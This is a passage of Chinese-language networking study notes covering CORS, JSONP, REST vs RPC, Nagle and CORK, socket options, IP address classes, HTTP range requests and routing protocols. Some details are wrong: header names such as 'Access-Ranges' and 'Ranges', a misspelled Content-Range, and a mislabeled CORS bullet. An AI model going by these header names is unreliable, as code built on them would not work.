  • Access-Control-Request-Headers: (可选)该字段是一个逗号分隔的字符串,指定浏览器 CORS 请求会额外发送的头信息字段。

例如:

Origin: http://www.laixiangran.cn
Access-Control-Request-Method: POST
Access-Control-Request-Headers: NCZ

服务器收到 “预检” 请求以后,检查了 OriginAccess-Control-Request-MethodAccess-Control-Request-Headers 字段以后,确认允许跨源请求,就可以做出回应。

HTTP 回应中,关键的是 Access-Control-Allow-Origin 字段,表示 http://api.bob.com 可以请求数据。该字段也可以设为星号,表示同意任意跨源请求。

  • Access-Control-Allow-Origin: *:如果浏览器否定了”预检”请求,会返回一个正常的 HTTP 回应,但是没有任何 CORS 相关的头信息字段。这时,浏览器就会认定,服务器不同意预检请求,因此触发一个错误,被 XMLHttpRequest 对象的 onerror 回调函数捕获。控制台会打印出如下的报错信息。
XMLHttpRequest cannot load http://api.alice.com.
Origin http://api.bob.com is not allowed by Access-Control-Allow-Origin.

服务器回应的其他CORS相关字段如下。

Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: X-Custom-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 1728000
  • Access-Control-Allow-Methods:该字段必需,它的值是逗号分隔的一个字符串,表明服务器支持的所有跨域请求的方法。注意,返回的是所有支持的方法,而不单是浏览器请求的那个方法。这是为了避免多次”预检”请求。
  • Access-Control-Allow-Headers:如果浏览器请求包括 Access-Control-Request-Headers 字段,则 Access-Control-Allow-Headers 字段是必需的。它也是一个逗号分隔的字符串,表明服务器支持的所有头信息字段,不限于浏览器在”预检”中请求的字段。
  • Access-Control-Allow-Credentials:该字段与简单请求时的含义相同。
  • Access-Control-Max-Age:该字段可选,用来指定本次预检请求的有效期,单位为秒。上面结果中,有效期是20天(1728000秒),即允许缓存该条回应1728000秒(即20天),在此期间,不用发出另一条预检请求。

一旦服务器通过了”预检”请求,以后每次浏览器正常的 CORS 请求,就都跟简单请求一样,会有一个Origin 头信息字段。服务器的回应,也都会有一个 Access-Control-Allow-Origin 头信息字段。

优缺点

优点:

  • CORS 通信与同源的 AJAX 通信没有差别,代码完全一样,容易维护。
  • 支持所有类型的 HTTP 请求。

缺点:

  • 存在兼容性问题,特别是 IE10 以下的浏览器。
  • 第一次发送非简单请求时会多一次请求。

JSONP 跨域

由于 script 标签不受浏览器同源策略的影响,允许跨域引用资源。因此可以通过动态创建 script 标签,然后利用 src 属性进行跨域,这也就是 JSONP 跨域的基本原理。

优点:

  • 使用简便,没有兼容性问题,目前最流行的一种跨域方法。

缺点:

  • 只支持 GET 请求。
  • 由于是从其它域中加载代码执行,因此如果其他域不安全,很可能会在响应中夹带一些恶意代码。
  • 要确定 JSONP 请求是否失败并不容易。虽然 HTML5 给 script 标签新增了一个 onerror 事件处理程序,但是存在兼容性问题。

图像 Ping 跨域

由于 img 标签不受浏览器同源策略的影响,允许跨域引用资源。因此可以通过 img 标签的 src 属性进行跨域,这也就是图像 Ping 跨域的基本原理。

优点:

  • 用于实现跟踪用户点击页面或动态广告曝光次数有较大的优势。

缺点:

  • 只支持 GET 请求。
  • 只能浏览器与服务器的单向通信,因为浏览器不能访问服务器的响应文本。

服务器代理

浏览器有跨域限制,但是服务器不存在跨域问题,所以可以由服务器请求所有域的资源再返回给客户端。

RESTful 架构

REST,即 Representational State Transfer 的缩写。对这个词组的翻译是”资源表现层状态转化”。

如果一个架构符合REST原则,就称它为RESTful架构。

所谓 资源,就是网络上的一个实体,或者说是网络上的一个具体信息。它可以是一段文本、一张图片、一首歌曲、一种服务,总之就是一个具体的实在。可以用一个 URI(统一资源定位符)指向它,每种资源对应一个特定的 URI。要获取这个资源,访问它的 URI 就可以,因此 URI 就成了每一个资源的地址或独一无二的识别符。

所谓”上网”,就是与互联网上一系列的”资源”互动,调用它的URI。

“资源”是一种信息实体,它可以有多种外在表现形式。我们把”资源”具体呈现出来的形式,叫做它的表现层(Representation)。

比如,文本可以用 txt 格式表现,也可以用 HTML 格式、XML 格式、JSON 格式表现,甚至可以采用二进制格式;图片可以用 JPG 格式表现,也可以用 PNG 格式表现。

URI 只代表资源的实体,不代表它的形式。严格地说,有些网址最后的 “.html” 后缀名是不必要的,因为这个后缀名表示格式,属于”表现层”范畴,而 URI 应该只代表”资源”的位置。它的具体表现形式,应该在 HTTP 请求的头信息中用 Accept 和 Content-Type 字段指定,这两个字段才是对”表现层”的描述。

访问一个网站,就代表了客户端和服务器的一个互动过程。在这个过程中,势必涉及到数据和状态的变化。

互联网通信协议 HTTP 协议,是一个无状态协议。这意味着,所有的状态都保存在服务器端。因此,如果客户端想要操作服务器,必须通过某种手段,让服务器端发生”状态转化”(State Transfer)。而这种转化是建立在表现层之上的,所以就是表现层状态转化

客户端用到的手段,只能是 HTTP 协议。具体来说,就是 HTTP 协议里面,四个表示操作方式的动词:GETPOSTPUTDELETE。它们分别对应四种基本操作:GET 用来获取资源,POST 用来新建资源(也可以用于更新资源),PUT 用来更新资源,DELETE 用来删除资源。

综合上面的解释,我们总结一下什么是 RESTful 架构:

  • 每一个URI代表一种资源;
  • 客户端和服务器之间,传递这种资源的某种表现层;
  • 客户端通过四个 HTTP 动词,对服务器端资源进行操作,实现”表现层状态转化”。

RestFul 和 RPC 的区别和应用场景

RestFul 和 RPC 都是网络交互的协议规范。通常用于多个微服务之间的通信协议。

RestFul 和 RPC 比较

高与低是对实现两种规范框架的相对比较,但也不是绝对的,需要根据实际情况而定。

REST与RPC应用场景

REST 和 RPC 都常用于微服务架构中。

  1. HTTP相对更规范,更标准,更通用,无论哪种语言都支持http协议。如果是对外开放API,例如开放平台,外部的编程语言多种多样,你无法拒绝对每种语言的支持,现在开源中间件,基本最先支持的几个协议都包含RESTful。

  2. RPC 框架作为架构微服务化的基础组件,它能大大降低架构微服务化的成本,提高调用方与服务提供方的研发效率,屏蔽跨进程调用函数(服务)的各类复杂细节。让调用方感觉就像调用本地函数一样调用远端函数、让服务提供方感觉就像实现一个本地函数一样来实现服务。

所以,如果是后端两种语言互相调用,用 RPC 可以获得更好的性能(省去了 HTTP 报头等一系列东西),应该也更容易配置,如果是前端通过 AJAX 调用后端,那么用 REST API 的形式比较好。

TCP中的Nagle算法

在使用一些协议通讯的时候,会有一个字节一个字节的发送的情景,每次发送一个字节的有用数据,就会产生 41 个字节长的分组,20 个字节的 IP Header 和 20 个字节的 TCP Header,这就导致了 1 个字节的有用信息要浪费掉 40 个字节的头部信息,这是一笔巨大的字节开销,而且这种小包在广域网上会增加拥塞的出现。

TCP 总是希望尽可能的发送足够大的数据。(在一个连接中会设置 MSS 参数,因此,TCP/IP 希望每次都能够以 MSS 尺寸的数据块来发送数据)。Nagle 算法就是为了尽可能发送大块数据,避免网络中充斥着许多小数据块。

Nagle 算法的基本定义是任意时刻,最多只能有一个未被确认的小段。所谓“小段”,指的是小于 MSS 尺寸的数据块,所谓“未被确认”,是指一个数据块发送出去后,没有收到对方发送的 ACK 确认该数据已收到.

Nagle算法的规则(可参考 tcp_output.c 文件里 tcp_nagle_check 函数注释):

  1. 如果包长度达到 MSS,则允许发送;
  2. 如果该包含有 FIN,则允许发送;
  3. 设置了 TCP_NODELAY 选项,则允许发送;
  4. 未设置 TCP_CORK 选项(使用CORK算法)时,若所有发出去的小数据包(包长度小于MSS)均被确认,则允许发送;
  5. 上述条件都未满足,但发生了超时(一般为200ms),则立即发送.

Nagle 算法只允许一个未被确认的包存在于网络,它并不管包的大小,因此它事实上就是一个扩展的停——等协议,只不过它是基于包的停——等的,而不是基于字节停——等的。Nagle 算法完全由 TCP 协议的 ACK 机制决定,这会带来一些问题,比如如果对端 ACK 回复很快的话,Nagle 事实上不会拼接太多的数据包,虽然避免了网络拥塞,网络总体的利用率依然很低。

默认情况下,发送数据采用 Negale 算法。这样虽然提高了网络吞吐量,但是实时性却降低了,在一些交互性很强的应用程序来说是不允许的,使用 TCP_NODELAY 选项可以禁止 Negale 算法。此时,应用程序向内核递交的每个数据包都会立即发送出去。需要注意的是,虽然禁止了 Negale 算法,但网络的传输仍然受到 TCP 确认延迟机制的影响。

CORK 算法

所谓的 CORK 就是塞子的意思,形象地理解就是用 CORK 将连接塞住,使得数据先不发出去,等到拔去塞子后再发出去。设置该选项后,内核会尽力把小数据包拼接成一个大的数据包(一个 MTU )再发送出去,当然若一定时间后(一般为 200 ms,该值尚待确认),内核仍然没有组合成一个 MTU 时也必须发送现有的数据(不可能让数据一直等待)。

但是,TCP_CORK 的实现可能并不那么完美,CORK 并不会将连接完全塞住。内核其实并不知道应用层到底什么时候会发送第二批数据用于和第一批数据拼接以达到 MTU 的大小,因此内核会给出一个时间限制,在该时间内没有拼接成一个大包(努力接近 MTU )的话,内核就会无条件发送。也就是说若应用层程序发送小包数据的间隔不够短时,TCP_CORK 就没有一点作用,反而失去了数据的实时性(每个小包数据都会延时一定时间再发送)。

Nagle 算法主要避免网络因为太多的小包(协议头的比例非常之大)而拥塞,而 CORK 算法则是为了提高网络的利用率

Socket

TCP/UDP是由以下五元组唯一地识别的:

{<protocol>, <src addr>, <src port>, <dest addr>, <dest port>}

这些数值组成的任何独特的组合可以唯一地确认一个连接。对于任意连接,这五个值都不能完全相同。否则的话操作系统就无法区别这些连接了。

套接字是一种通信机制,凭借这种机制,客户/服务器(即要进行通信的进程)系统的开发工作既可以在本地单机上进行,也可以跨网络进行。也就是说它可以让不在同一台计算机但通过网络连接计算机上的进程进行通信。

Socket 是应用层和传输层之间的桥梁

套接字是支持 TCP/IP 的网络通信的基本操作单元,可以看做是不同主机之间的进程进行双向通信的端点,简单的说就是通信的两方的一种约定,用套接字中的相关函数来完成通信过程。

套接字特性

套接字的特性由3个属性确定,它们分别是:域、端口号、协议类型。

套接字的域

它指定套接字通信中使用的网络介质,最常见的套接字域有两种:

一是 AF_INET,它指的是 Internet 网络。当客户使用套接字进行跨网络的连接时,它就需要用到服务器计算机的 IP 地址和端口来指定一台联网机器上的某个特定服务,所以在使用 socket 作为通信的终点,服务器应用程序必须在开始通信之前绑定一个端口,服务器在指定的端口等待客户的连接。

另一个域 AF_UNIX,表示 UNIX 文件系统,它就是文件输入/输出,而它的地址就是文件名。

套接字的端口号

每一个基于 TCP/IP 网络通讯的程序(进程)都被赋予了唯一的端口和端口号,端口是一个信息缓冲区,用于保留 Socket 中的输入/输出信息,端口号是一个 16 位无符号整数,范围是 0-65535,以区别主机上的每一个程序(端口号就像房屋中的房间号),低于 256 的端口号保留给标准应用程序,比如 pop3 的端口号就是110,每一个套接字都组合进了IP地址、端口,这样形成的整体就可以区别每一个套接字。

套接字协议类型

因特网提供三种通信机制:

一是流套接字,流套接字在域中通过 TCP/IP 连接实现,同时也是 AF_UNIX 中常用的套接字类型。流套接字提供的是一个有序、可靠、双向字节流的连接,因此发送的数据可以确保不会丢失、重复或乱序到达,而且它还有一定的出错后重新发送的机制。

二个是数据报套接字,它不需要建立连接和维持一个连接,它们在域中通常是通过 UDP/IP 协议实现的。它对可以发送的数据的长度有限制,数据报作为一个单独的网络消息被传输,它可能会丢失、复制或错乱到达,UDP 不是一个可靠的协议,但是它的速度比较高,因为它并不需要总是建立和维持一个连接。

三是原始套接字,原始套接字允许对较低层次的协议直接访问,比如 IP、 ICMP 协议,它常用于检验新的协议实现,或者访问现有服务中配置的新设备,因为 RAW SOCKET 可以自如地控制 Windows 下的多种协议,能够对网络底层的传输机制进行控制,所以可以应用原始套接字来操纵网络层和传输层应用。比如,我们可以通过 RAW SOCKET 来接收发向本机的 ICMP、IGMP 协议包,或者接收 TCP/IP 栈不能够处理的 IP 包,也可以用来发送一些自定包头或自定协议的 IP 包。网络监听技术很大程度上依赖于 SOCKET_RAW。

原始套接字与标准套接字的区别在于:

原始套接字可以读写内核没有处理的 IP 数据包,而流套接字只能读取 TCP 协议的数据,数据报套接字只能读取 UDP 协议的数据。因此,如果要访问其他协议发送数据必须使用原始套接字。

套接字通信的建立

Socket通信基本流程

服务器端:

  1. 首先服务器应用程序用系统调用socket来创建一个套接字,它是系统分配给该服务器进程的类似文件描述符的资源,它不能与其他的进程共享。
  2. 然后,服务器进程会给套接字起个名字,我们使用系统调用bind来给套接字命名。然后服务器进程就开始等待客户连接到这个套接字。
  3. 接下来,系统调用listen来创建一个队列并将其用于存放来自客户的进入连接。
  4. 最后,服务器通过系统调用accept来接受客户的连接。它会创建一个与原有的命名套接不同的新套接字,这个套接字只用于与这个特定客户端进行通信,而命名套接字(即原先的套接字)则被保留下来继续处理来自其他客户的连接(建立客户端和服务端的用于通信的流,进行通信)。

客户端:

  1. 客户应用程序首先调用socket来创建一个未命名的套接字,然后将服务器的命名套接字作为一个地址来调用connect与服务器建立连接。
  2. 一旦连接建立,我们就可以像使用底层的文件描述符那样用套接字来实现双向数据的通信(通过流进行数据传输)。

使用规则

一个 socket 的协议是在用 socket() 初始化的时候就设置好的。源地址(source address)和源端口(source port)在调用 bind() 的时候设置。目的地址(destination address)和目的端口(destination port)在调用 connect() 的时候设置。其中 UDP 是无连接的,UDP socket 可以在未与目的端口连接的情况下使用。但 UDP 也可以在某些情况下先与目的地址和端口建立连接后使用。在使用无连接 UDP 发送数据的情况下,如果没有显式地调用 bind(),操作系统会在第一次发送数据时自动将 UDP socket 与本机的地址和某个端口绑定(否则的话程序无法接受任何远程主机回复的数据)。同样的,一个没有绑定地址的 TCP socket 也会在建立连接时被自动绑定一个本机地址和端口。

如果手动绑定一个端口,可以将 socket 绑定至端口0,绑定至端口 0 的意思是让系统自己决定使用哪个端口(一般是从一组操作系统特定的提前决定的端口数范围中),所以也就是任何端口的意思。

同样的,也可以使用一个通配符来让系统决定绑定哪个源地址(ipv4通配符为 0.0.0.0,ipv6通配符为 ::)。

与端口不同的是,一个 socket 可以被绑定到主机上所有接口所对应的地址中的任意一个。基于连接在本 socket 的目的地址和路由表中对应的信息,操作系统将会选择合适的地址来绑定这个 socket,并用这个地址来取代之前的通配符 IP 地址。

在默认情况下,任意两个 socket 不能被绑定在同一个源地址和源端口组合上。需要注意的是,如果某一个 socket 被绑定在通配符IP地址下,那么事实上本机所有 IP 都会被系统认为与其绑定了。例如一个socket绑定了 0.0.0.0:21,在这种情况下,任何其他 socket 不论选择哪一个具体的 IP 地址,其都不能再绑定在 21 端口下。因为通配符IP0.0.0.0与所有本地 IP 都冲突。

SO_REUSEADDR 的作用

作用一:改变系统对待通配符IP地址冲突的方式

如果在一个 socket 绑定到某一地址和端口之前设置了其 SO_REUSEADDR 的属性,那么除非本 socket 与产生了尝试与另一个 socket 绑定到完全相同的源地址和源端口组合的冲突,否则的话这个 socket 就可以成功的绑定这个地址端口对。SO_REUSEADDR 主要改变了系统对待通配符IP地址冲突的方式。

如果不用 SO_REUSEADDR 的话,如果将 socketA 绑定到 0.0.0.0:21,那么任何将本机其他socket 绑定到端口 21 的举动都会导致 EADDRINUSE 错误。因为 0.0.0.0 是一个通配符IP地址,意味着任意一个 IP 地址,所以任何其他本机上的 IP 地址都被系统认为已被占用。如果设置了 SO_REUSEADDR 选项,因为 0.0.0.0:21192.168.1.1:21 并不是完全相同的地址端口对(其中一个是通配符 IP 地址,另一个是一个本机的具体IP地址),所以这样的绑定是可以成功的。需要注意的是,无论 socketA 和 socketB 初始化的顺序如何,只要设置了 SO_REUSEADDR,绑定都会成功;而只要没有设置 SO_REUSEADDR,绑定都不会成功。

作用二:使处于 TIME_WAIT 状态的 socket 能够被连接

如果 SO_REUSEADDR 选项没有被设置,处于 TIME_WAIT 阶段的 socket 仍然被认为是绑定在原来那个地址和端口上的。直到该 socket 被完全关闭之前(结束 TIME_WAIT 阶段),任何其他企图将一个新socket 绑定该该地址端口对的操作都无法成功。这一等待的过程可能和延迟等待的时间一样长。所以不能马上将一个新的 socket 绑定到一个刚刚被关闭的 socket 对应的地址端口对上。在大多数情况下这种操作都会失败。

然而,如果在新的 socket 上设置了 SO_REUSEADDR 选项,如果此时有另一个 socket 绑定在当前的地址端口对且处于 TIME_WAIT 阶段,那么这个已存在的绑定关系将会被忽略。事实上处于 TIME_WAIT 阶段的 socket 已经是半关闭的状态,将一个新的 socket 绑定在这个地址端口对上不会有任何问题。这样的话原来绑定在这个端口上的 socket 一般不会对新的 socket 产生影响。

SO_REUSEPORT 的作用

基本上来说,SO_REUSEPORT 允许将任意数目的 socket 绑定到完全相同的源地址端口对上,只要所有之前绑定的 socket 都设置了 SO_REUSEPORT 选项。如果第一个绑定在该地址端口对上的 socket 没有设置 SO_REUSEPORT,无论之后的 socket 是否设置 SO_REUSEPORT,其都无法绑定在与这个地址端口完全相同的地址上。除非第一个绑定在这个地址端口对上的 socket 释放了这个绑定关系。

SO_REUSEADDR 不同的是 ,处理 SO_REUSEPORT 的代码不仅会检查当前尝试绑定的 socket 的 SO_REUSEPORT,而且也会检查之前已绑定了当前尝试绑定的地址端口对的 socket 的 SO_REUSEPORT 选项。

TCP和UDP可以同时监听相同的端口吗

可以。

端口可以形象地比喻成操作系统上的编号唯一的文件,应用程序和网络协议可以对其进行 i/o 操作。

但是既然唯一又为何 tcp/udp 可以用相同的端口号呢?这样的话,程序在连接到端口时,怎么知道此时从该端口进来的数据是tcp的还是udp的呢?

原因是 IP 数据包首部有个叫做协议的字段,指出了上层协议是 TCP 还是 UDP 还是其他P。

协议字段,其值为6,则为TCP;其值为17,则为UDP。

操作系统有能力根据接受的报文的 IP 字段里面的协议部分判断这个报文是什么报文,就是说,系统读数据的时候还没有读到上层报文(TCP/UDP)的时候已经知道上层是什么报文了,直接交给相关的内核进程或协议栈处理就可以了,而在同一个协议内部端口号唯一。

Controller 层如何获取到请求的信息

客户端发起的请求,都是 http 请求,controller 层对请求数据的解析是按照 json 还是 xml 的依据就是请求头 content-type

请求报文中包含有请求方法以及对应的 URL,发送到 controller 之后,controller 对请求报文的正文进行解析。

IP地址

IP 地址就是给互联网上的每一台主机(或路由器)的每一个接口分配在一个全世界范围内是唯一的32位的标识符。IP 地址可以划分为若干类,每一类地址都由两个固定长度的字段组成,其中第一个字段是网络号,它标志主机(或路由器)所连接到的网络。一个网络号在整个互联网范围内必须是唯一的。第二个字段是主机号,它标志该主机(或路由器)。

下图是各种 IP 地址的网络号字段和主机号字段,这里 A 类、B 类和 C 类地址都是单播地址(一对一通信),是最常用的。

IP地址中的网络号字段和主机号字段

IP地址,一共分成了5类,范围分别如下:

  • A类IP:从 1.0.0.0 – 126.255.255.255,共有 16777214 个IP

    A 类地址可以指派的网络号是126个(2的7次方-2),减2的原因在于:第一,IP 地址中的全 0 表示“这个”。网络号字段全为 0 的 IP 地址是个保留地址,意思是“本网络”;第二,网络号为127(即01111111)保留作为本地软件环回测试本主机的进程之间通信之用。

    A 类网络中的最大主机数是16777214个(2的24次方-2),减2的原因在于:全 0 的主机号字段表示该 IP 地址是“本主机”所连接到的单个网络地址(例如,一个主机的 IP 地址是 5.6.7.8,则该主机所在的网络地址就是 5.0.0.0),而全 1 表示 “所有的(all)”,因此全 1 的主机号字段表示该网络上的所有主机。

  • B类IP:从 128.1.0.0 – 191.255.255.255,共有65534个IP

    B 类地址的网络号的前 2 位已经固定(1 0),只对剩下的 14 位进行分配。因为网络号字段后面的 14 位无论怎么样取值也不可能出现使整个 2 字节的网络号字段成为全 0 或 全 1,因此这里不存在网络总数减 2 的问题。但实际上,B 类网络地址的 128.0.0.0 是不指派的,而可以指派的 B 类最小网络地址是 128.1.0.0

  • C类IP:从 192.0.1.0 – 223.255.255.255,共有256个IP

    C 类网络地址 192.0.0.0 也是不指派的,可以指派的 C 类最小网络地址是 192.0.1.0

而其中,能在 Internet 或被用户使用的 A、B、C三类,而 D 类用作组播地址,E 类作为科研保留地址段

IP 地址的指派范围

公有IP和私有IP

公有地址(Public address,也可称为公网地址)由Internet NIC(Internet Network Information Center因特网信息中心)负责。这些 IP 地址分配给注册并向 Internet NIC 提出申请的组织机构。通过它直接访问因特网,它是广域网范畴内的。

私有地址(Private address,也可称为专网地址)属于非注册地址,专门为组织机构内部使用,它是局域网范畴内的,私有 IP 禁止出现在 Internet 中,在 ISP 连接用户的地方,将来自于私有 IP 的流量全部都会阻止并丢掉。

公有IP地址的范围:

A类的公有IP:

  • 1.0.0.0~9.255.255.255
  • 11.0.0.0~126.255.255.255

B类的公有IP:

  • 128.0.0.0~172.15.255.255
  • 172.32.0.0~191.255.255.255

C类的公有IP:

  • 192.0.0.0~192.167.255.255
  • 192.169.0.0~223.255.255.255

私有IP地址的范围:

A类私有IP地址:

  • 10.0.0.0~10.255.255.255

B类私有IP地址:

  • 172.16.0.0~172.31.255.255

C类私有IP地址:

  • 192.168.0.0~192.168.255.255

IP 数据报

IP 数据报的格式如下:

IP 数据报格式

①版本:占 4 位,指 IP 协议的版本,目前广泛使用 IPv4;

②首部长度:占 4 位,以 32 位为单位,常用长度为 20 字节,最大为 60 字节;

③区分服务:占 8 位,用来获得更好的服务,一般不使用;

④总长度:占 16 位,指首部和数据之和的长度,单位为字节;

⑤标识:占 16 位,是一个计数器,每产生一个数据报,计数器就加 1,并将此值赋给标识字段;

⑥标志:占 3 位,最低位 MF=1 表示后面还有分片,MF=0 表示最后一个分片;标志字段中间的一位 DF=0 表示允许分片,否则不允许;

⑦片偏移:占 13 位,片偏移指出某片在原分组中的相对位置,以 8 个字节为偏移单位;

⑧生存时间 TTL:占 8 位,表明数据报在网络中可通过的路由器的最大值,标识分组在网络中的寿命;

⑨协议:占 8 位,指出数据报携带的数据使用何种协议;

⑩首部检验和:占 16 位,只检验数据报的首部,不包括数据部分;

⑪源地址:占 32 位,标识发送方的 IP 地址;

⑫目的地址:占 32 位,标识接收方的 IP 地址。

如何进行断点续传

在 HTTP/1.1 中,很明确的声明了一个响应头部 Access-Ranges 来标记是否支持范围请求,它只有一个可选参数 bytes

如果已经确定双端都支持范围请求,我们就可以在请求资源的时候使用它。所有的文件最终都是存储在磁盘或者内存中的字节,对于待操作的文件可以将其以字节为单位分割。这样只需要 HTTP 支持请求该文件从 n 到 n+x 这个范围内的资源,就可以实现范围请求了。

HTTP/1.1 中定义了一个 Ranges 的请求头,来指定请求实体的范围。它的范围取值是在 0 - Content-Length 之间,使用 - 分割。

例如已经下载了 1000 bytes 的资源内容,想接着继续下载之后的资源内容,只要在 HTTP 请求头部,增加 Ranges:bytes=1000- 就可以了。

Range 还有几种不同的方式来限定范围,可以根据需要灵活定制:

  1. 500-1000:指定开始和结束的范围,一般用于多线程下载。
  2. 500- :指定开始区间,一直传递到结束。这个就比较适用于断点续传、或者在线播放等等。
  3. -500:无开始区间,意思是只需要最后 500 bytes 的内容实体。
  4. 100-300,1000-3000:指定多个范围,这种方式使用的场景很少,了解一下就好了。

HTTP 协议是一种双边协商的协议,既然请求头部已经确定是使用 Ranges 了,还有响应头部中,也需要使用 Content-Ragne 这个响应头来标记响应的实体内容范围。

Content-Range 的格式也很清晰,首先标记它的单位是 bytes 然后标记当前传递的内容实体范围和总长度。

Content-Range: bytes 100-999/1000

在这个例子中,会传递 100 ~ 999 范围的内容实体,而该资源文件的总大小是 1000 bytes。并且此时的 HTTP 响应状态码为 206 Partial Content

HTTP 206 Partial Content 成功状态响应代码表示请求已成功,并且主体包含所请求的数据区间,该数据区间是在请求的 Range 首部指定的。

针对下载过程中资源发生变化的情况

当我们在一些下载工具中,下载大尺寸资源的时候,偶尔中间暂停过再重新下载,可能会遇见它又重头开始下载的情况。

这看似是 HTTP 的范围请求失效了,但是实际上并不一定如此,很可能是因为请求的资源,在请求的这个过程中,发生了改变。

假如你下载的过程中,下载的源资源文件发生了变化,但是 URL 没有改变,此时文件长度可能已经变化了(这是非常容易发现的),极端情况下就算没有长度没有变化,你再继续下载,很可能最终下载完成之后,无法将下载的内容拼接成我们需要的文件。

如果我们需要从服务器上下载某个资源,一定要预防此资源可能发生的变动。在 HTTP 协议中,可以通过 ETag 或者 Last-Modified 来标识当前资源是否变化。

  • ETag:当前文件的一个验证令牌指纹,用于标识文件的唯一性。
  • Last-Modified:标记当前文件最后被修改的时间。

在 HTTP 的范围请求中,也可以使用这两个字段来区分分段请求的资源,是否有修改过,只需要在请求头中,将它放在 If-Range 这个请求报文头中即可。If-Range 使用 ETag 或者 Last-Modified 两个参数任意一个,原样填入即可。

此时,如果两次操作的都是同一个资源文件,就会继续返回 206 状态码,开始后续的操作,反之则会返回 200 状态码,表示文件发生改变,要从头下载。

需要注意的是 If-Range 需要和 Range 配合起来使用,否则会被服务端忽略。

再额外提一点,如果客户端请求报文头中,对 Range 填入的范围错误,会返回 416 状态码。

HTTP 416 Range Not Satisfiable 错误状态码意味着服务器无法处理所请求的数据区间。最常见的情况是所请求的数据区间不在文件范围之内,也就是说,Range 首部的值,虽然从语法上来说是没问题的,但是从语义上来说却没有意义。

交换机

交换机属于数据链路层,具有自学习能力,学习的是交换表的内容,交换表中存储着 MAC 地址到接口的映射。

正是由于这种自学习能力,因此交换机是一种即插即用设备,不需要网络管理员手动配置交换表内容。

下图中,交换机有 4 个接口,主机 A 向主机 B 发送数据帧时,交换机把主机 A 到接口 1 的映射写入交换表中。为了发送数据帧到 B,先查交换表,此时没有主机 B 的表项,那么主机 A 就发送广播帧,主机 C 和主机 D 会丢弃该帧,主机 B 回应该帧向主机 A 发送数据包时,交换机查找交换表得到主机 A 映射的接口为 1,就发送数据帧到接口 1,同时交换机添加主机 B 到接口 2 的映射。

交换机

路由器

路由器的结构

路由器从功能上可以划分为:路由选择和分组转发。

分组转发结构由三个部分组成:交换结构、一组输入端口和一组输出端口。

路由器的结构

路由器分组转发流程

在路由器中的输入和输出端口之间没有直接连线,路由器在处理分组的过程中,会先把收到的分组放入缓存,接着查找转发表,找出到某个地址应该从哪个端口转发,再把分组送到适合的端口转发出去,具体过程如下:

  • 从数据报的首部提取目的主机的 IP 地址 D,得到目的网络地址 N。
  • 若 N 就是与此路由器直接相连的某个网络地址,则进行直接交付;
  • 若路由表中有目的地址为 D 的特定主机路由,则把数据报传送给表中所指明的下一跳路由器;
  • 若路由表中有到达网络 N 的路由,则把数据报传送给路由表中所指明的下一跳路由器;
  • 若路由表中有一个默认路由,则把数据报传送给路由表中所指明的默认路由器;
  • 报告转发分组出错。

路由器分组转发流程

路由选择协议

路由选择协议都是自适应的,能随着网络通信量和拓扑结构的变化而自适应地进行调整。

互联网可以划分为许多较小的自治系统 AS,一个 AS 可以使用一种和别的 AS 不同的路由选择协议。

可以把路由选择协议划分为两大类:

  • 自治系统内部的路由选择:RIP 和 OSPF
  • 自治系统间的路由选择:BGP

内部网关协议 RIP

RIP 是一种基于距离向量的路由选择协议。距离是指跳数,直接相连的路由器跳数为 1。跳数最多为 15,超过 15 表示不可达。

RIP 按固定的时间间隔仅和相邻路由器交换自己的路由表,经过若干次交换之后,所有路由器最终会知道到达本自治系统中任何一个网络的最短距离和下一跳路由器地址。

距离向量算法:

  • 对地址为 X 的相邻路由器发来的 RIP 报文,先修改报文中的所有项目,把下一跳字段中的地址改为 X,并把所有的距离字段加 1;
  • 对修改后的 RIP 报文中的每一个项目,进行以下步骤:
  1. 若原来的路由表中没有目的网络 N,则把该项目添加到路由表中;
  2. 否则:若下一跳路由器地址是 X,则把收到的项目替换原来路由表中的项目;否则:若收到的项目中的距离 d 小于路由表中的距离,则进行更新(例如原始路由表项为 Net2, 5, P,新表项为 Net2, 4, X,则更新);否则什么也不做。
  3. 若 3 分钟还没有收到相邻路由器的更新路由表,则把该相邻路由器标为不可达,即把距离置为 16。

RIP 协议实现简单,开销小。但是 RIP 能使用的最大距离为 15,限制了网络的规模。并且当网络出现故障时,要经过比较长的时间才能将此消息传送到所有路由器。

内部网关协议 OSPF

开放最短路径优先 OSPF,是为了克服 RIP 的缺点而开发出来的。

开放表示 OSPF 不受某一家厂商控制,而是公开发表的;最短路径优先表示使用了 Dijkstra 提出的最短路径算法 SPF。

OSPF 具有以下特点:

  • 向本自治系统中的所有路由器发送信息,这种方法是洪泛法。
  • 发送的信息就是与相邻路由器的链路状态,链路状态包括与哪些路由器相连以及链路的度量,度量用费用、距离、时延、带宽等来表示。
  • 只有当链路状态发生变化时,路由器才会发送信息。
  • 所有路由器都具有全网的拓扑结构图,并且是一致的。相比于 RIP,OSPF 的更新过程收敛的很快。

外部网关协议 BGP

BGP(Border Gateway Protocol,边界网关协议)

AS 之间的路由选择很困难,主要是由于:

  • 互联网规模很大;
  • 各个 AS 内部使用不同的路由选择协议,无法准确定义路径的度量;
  • AS 之间的路由选择必须考虑有关的策略,比如有些 AS 不愿意让其它 AS 经过。
  • BGP 只能寻找一条比较好的路由,而不是最佳路由。

每个 AS 都必须配置 BGP 发言人,通过在两个相邻 BGP 发言人之间建立 TCP 连接来交换路由信息。

BGP 发言人与 AS 自治系统的关系

参考内容

主要参考以下两篇博客以及相关博客推荐,因找的博客比较多,没注意记录,最后好多忘了在哪2333,如果有侵权,请及时联系我,非常抱歉。
https://github.com/Snailclimb/JavaGuide

https://github.com/CyC2018/CS-Notes

理解RESTful架构

三次握手失败怎么办?

TCP中的Nagle算法

TCP-IP详解:Nagle算法

浅析套接字中SO_REUSEPORT和SO_REUSEADDR的区别

TCP和UDP可以同时监听相同的端口吗

十分钟搞懂HTTP和HTTPS协议?

关于HTTP协议,一篇就够了

什么是公有IP地址?什么是私有IP地址?及各自范围介绍

图解:HTTP 范围请求,助力断点续传、多线程下载的核心原理

1- Https流程和原理

502 Bad Gateway 怎么解决?

进程间通信IPC (InterProcess Communication)

HTTP Keep-Alive是什么?如何工作?(理解TCP生命周期)

长连接及心跳保活原理简介

TCP keepalive 和 http keep-alive

REST与RPC有什么区别?

面试问题:REST与RPC区别?

快速了解公钥、私钥与证书

前端面试:httpcode 301和302的区别